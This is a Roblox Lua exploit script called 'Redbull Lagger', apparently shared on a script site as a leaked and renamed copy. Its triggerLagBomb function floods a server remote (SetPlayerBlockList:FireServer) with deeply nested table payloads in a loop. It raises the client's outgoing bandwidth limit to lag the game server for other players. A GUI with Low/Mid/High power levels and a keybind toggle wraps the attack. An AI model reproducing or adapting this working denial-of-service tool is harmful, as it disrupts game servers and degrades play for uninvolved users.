
KeylessUniversal

-- leak and rename by prince
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local CoreGui = game:GetService("CoreGui")
local HttpService = game:GetService("HttpService")
local ConfigFile = "RedbullLaggerConfig.json"
local LaggerLevels = {
Low = {power = 23},
Mid = {power = 32},
High = {power = 70}
}
local keybind = Enum.KeyCode.M
local isListeningForInput = false
local isLaggerActive = false
local lagThread = nil
local currentLevel = "Low"
local isWindowLocked = false
local UI_CONFIG = {
ButtonInact = Color3.fromRGB(40, 40, 40),
ButtonLow = Color3.fromRGB(0, 255, 0),
ButtonMid = Color3.fromRGB(255, 255, 0),
ButtonHigh = Color3.fromRGB(255, 0, 0),
ToggleOff = Color3.fromRGB(45, 45, 45),
BorderColor = Color3.fromRGB(40, 40, 40),
Font = Enum.Font.GothamBlack
}
local function saveConfig()
local data = {
Nivel = currentLevel,
Bloqueado = isWindowLocked
}
pcall(function() writefile(ConfigFile, HttpService:JSONEncode(data)) end)
end
local function loadConfig()
if pcall(isfile, ConfigFile) and isfile(ConfigFile) then
pcall(function()
local data = HttpService:JSONDecode(readfile(ConfigFile))
currentLevel = data.Nivel or "Low"
isWindowLocked = data.Bloqueado or false
end)
end
end
loadConfig()
local function triggerLagBomb(power)
local payload = {}
local nestedTable = {{}}
local current = nestedTable[1]
for i = 1, 4 do
local t = {}
table.insert(current, t)
current = t
end
local limit = math.min(1800, power * 7)
for i = 1, limit do table.insert(payload, nestedTable) end
pcall(function() game:GetService("RobloxReplicatedStorage").SetPlayerBlockList:FireServer(payload) end)
end
local toggleBall, toggleContainer, btnLow, btnMid, btnHigh, lockButton
local keybindButton, toggleClick
local function updateLevelButtons()
local levels = {Low = btnLow, Mid = btnMid, High = btnHigh}
for name, button in pairs(levels) do
local isActive = (currentLevel == name)
button.BackgroundColor3 = isActive and UI_CONFIG["Button" .. name] or UI_CONFIG.ButtonInact
button.BorderSizePixel = isActive and 0 or 1
button.BorderColor3 = UI_CONFIG.BorderColor
button.TextColor3 = Color3.fromRGB(255, 255, 0)
end
end
local function updateToggleUI()
if toggleBall then
toggleBall.Position = isLaggerActive and UDim2.new(1, -18, 0.5, -9) or UDim2.new(0, 3, 0.5, -9)
end
if toggleClick then
toggleClick.Text = isLaggerActive and "ACTIVE" or "INACTIVE"
toggleClick.TextColor3 = isLaggerActive and Color3.fromRGB(0, 255, 0) or Color3.fromRGB(255, 0, 0)
end
end
local function updateLockUI()
lockButton.Text = isWindowLocked and "Lock" or "Unlock"
end
local function updateKeybindUI()
local display = keybind.Name:gsub("Button", "")
keybindButton.Text = "KEY: " .. display
end
local function toggleLagger()
isLaggerActive = not isLaggerActive
updateToggleUI()
if isLaggerActive then
if lagThread then task.cancel(lagThread) end
lagThread = task.spawn(function()
while isLaggerActive do
pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(80000) end)
triggerLagBomb(LaggerLevels[currentLevel].power)
task.wait(0.18)
end
end)
else
if lagThread then task.cancel(lagThread); lagThread = nil end
end
end
if CoreGui:FindFirstChild("RedbullLagger_UI") then CoreGui.RedbullLagger_UI:Destroy() end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RedbullLagger_UI"
screenGui.Parent = CoreGui
screenGui.ResetOnSpawn = false
local mainFrame = Instance.new("Frame", screenGui)
mainFrame.Name = "MainFrame"
mainFrame.BackgroundColor3 = Color3.fromRGB(0, 50, 200)
mainFrame.BorderSizePixel = 2
mainFrame.BorderColor3 = Color3.fromRGB(0, 80, 255)
mainFrame.Size = UDim2.new(0, 200, 0, 78)
mainFrame.Position = UDim2.new(0.15, 0, 0.5, -39)
mainFrame.ClipsDescendants = true
Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 8)
local titleLabel = Instance.new("TextLabel", mainFrame)
titleLabel.BackgroundTransparency = 1
titleLabel.Position = UDim2.new(0, 3, 0, 0)
titleLabel.Size = UDim2.new(0, 80, 0, 22)
titleLabel.Font = Enum.Font.GothamBlack
titleLabel.Text = "Redbull Lagger"
titleLabel.TextColor3 = Color3.fromRGB(255, 255, 0)
titleLabel.TextSize = 16
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
keybindButton = Instance.new("TextButton", mainFrame)
keybindButton.BackgroundColor3 = Color3.fromRGB(25, 25, 30)
keybindButton.Position = UDim2.new(1, -62, 0, 1)
keybindButton.Size = UDim2.new(0, 34, 0, 12)
keybindButton.Font = Enum.Font.GothamBlack
keybindButton.TextSize = 6
keybindButton.TextColor3 = Color3.fromRGB(255, 255, 0)
keybindButton.AutoButtonColor = false
Instance.new("UICorner", keybindButton).CornerRadius = UDim.new(0, 5)
updateKeybindUI()
lockButton = Instance.new("TextButton", mainFrame)
lockButton.BackgroundColor3 = Color3.fromRGB(25, 25, 30)
lockButton.Position = UDim2.new(1, -28, 0, 1)
lockButton.Size = UDim2.new(0, 26, 0, 12)
lockButton.Font = Enum.Font.GothamBlack
lockButton.TextSize = 6
lockButton.TextColor3 = Color3.fromRGB(255, 255, 0)
lockButton.AutoButtonColor = false
Instance.new("UICorner", lockButton).CornerRadius = UDim.new(0, 5)
lockButton.MouseButton1Click:Connect(function()
isWindowLocked = not isWindowLocked
updateLockUI()
saveConfig()
end)
updateLockUI()
local textLagger = Instance.new("TextLabel", mainFrame)
textLagger.BackgroundTransparency = 1
textLagger.Position = UDim2.new(0, 5, 0, 24)
textLagger.Size = UDim2.new(0, 65, 0, 18)
textLagger.Font = Enum.Font.GothamBlack
textLagger.Text = "LAGGER"
textLagger.TextColor3 = Color3.fromRGB(255, 255, 0)
textLagger.TextSize = 11
textLagger.TextXAlignment = Enum.TextXAlignment.Left
toggleContainer = Instance.new("Frame", mainFrame)
toggleContainer.BackgroundColor3 = UI_CONFIG.ToggleOff
toggleContainer.Position = UDim2.new(1, -52, 0, 24)
toggleContainer.Size = UDim2.new(0, 44, 0, 18)
Instance.new("UICorner", toggleContainer).CornerRadius = UDim.new(1,0)
toggleBall = Instance.new("Frame", toggleContainer)
toggleBall.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
toggleBall.Size = UDim2.new(0, 16, 0, 16)
toggleBall.Position = UDim2.new(0, 3, 0.5, -8)
Instance.new("UICorner", toggleBall).CornerRadius = UDim.new(1,0)
toggleClick = Instance.new("TextButton", toggleContainer)
toggleClick.BackgroundTransparency = 1
toggleClick.Size = UDim2.new(1,0,1,0)
toggleClick.Font = Enum.Font.GothamBlack
toggleClick.Text = "INACTIVE"
toggleClick.TextSize = 6
toggleClick.TextColor3 = Color3.fromRGB(255, 0, 0)
toggleClick.MouseButton1Click:Connect(toggleLagger)
keybindButton.MouseButton1Click:Connect(function()
if isListeningForInput then return end
isListeningForInput = true
keybindButton.Text = "..."
end)
UserInputService.InputBegan:Connect(function(input, gp)
if isListeningForInput and not gp then
local newKey = input.KeyCode
if newKey ~= Enum.KeyCode.Unknown then
keybind = newKey
isListeningForInput = false
updateKeybindUI()
end
elseif not gp and (input.KeyCode == keybind) then
toggleLagger()
end
end)
local function createLevelButton(name, xOffset)
local btn = Instance.new("TextButton", mainFrame)
btn.Size = UDim2.new(0, 50, 0, 20)
btn.Position = UDim2.new(0, xOffset, 0, 46)
btn.Font = UI_CONFIG.Font
btn.Text = name:upper()
btn.TextColor3 = Color3.fromRGB(255, 255, 0)
btn.TextSize = 9
btn.AutoButtonColor = false
btn.BorderSizePixel = 1
Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 6)
btn.MouseButton1Click:Connect(function()
currentLevel = name
updateLevelButtons()
saveConfig()
end)
return btn
end
btnLow = createLevelButton("Low", 5)
btnMid = createLevelButton("Mid", 60)
btnHigh = createLevelButton("High", 115)
updateLevelButtons()
updateToggleUI()
local isDragging, dragStart, startPos
mainFrame.InputBegan:Connect(function(input)
if not isWindowLocked and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
isDragging = true
dragStart = input.Position
startPos = mainFrame.Position
end
end)
UserInputService.InputChanged:Connect(function(input)
if isDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
local delta = input.Position - dragStart
mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
end
end)
mainFrame.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
isDragging = false
end
end)No comments yet for this script.



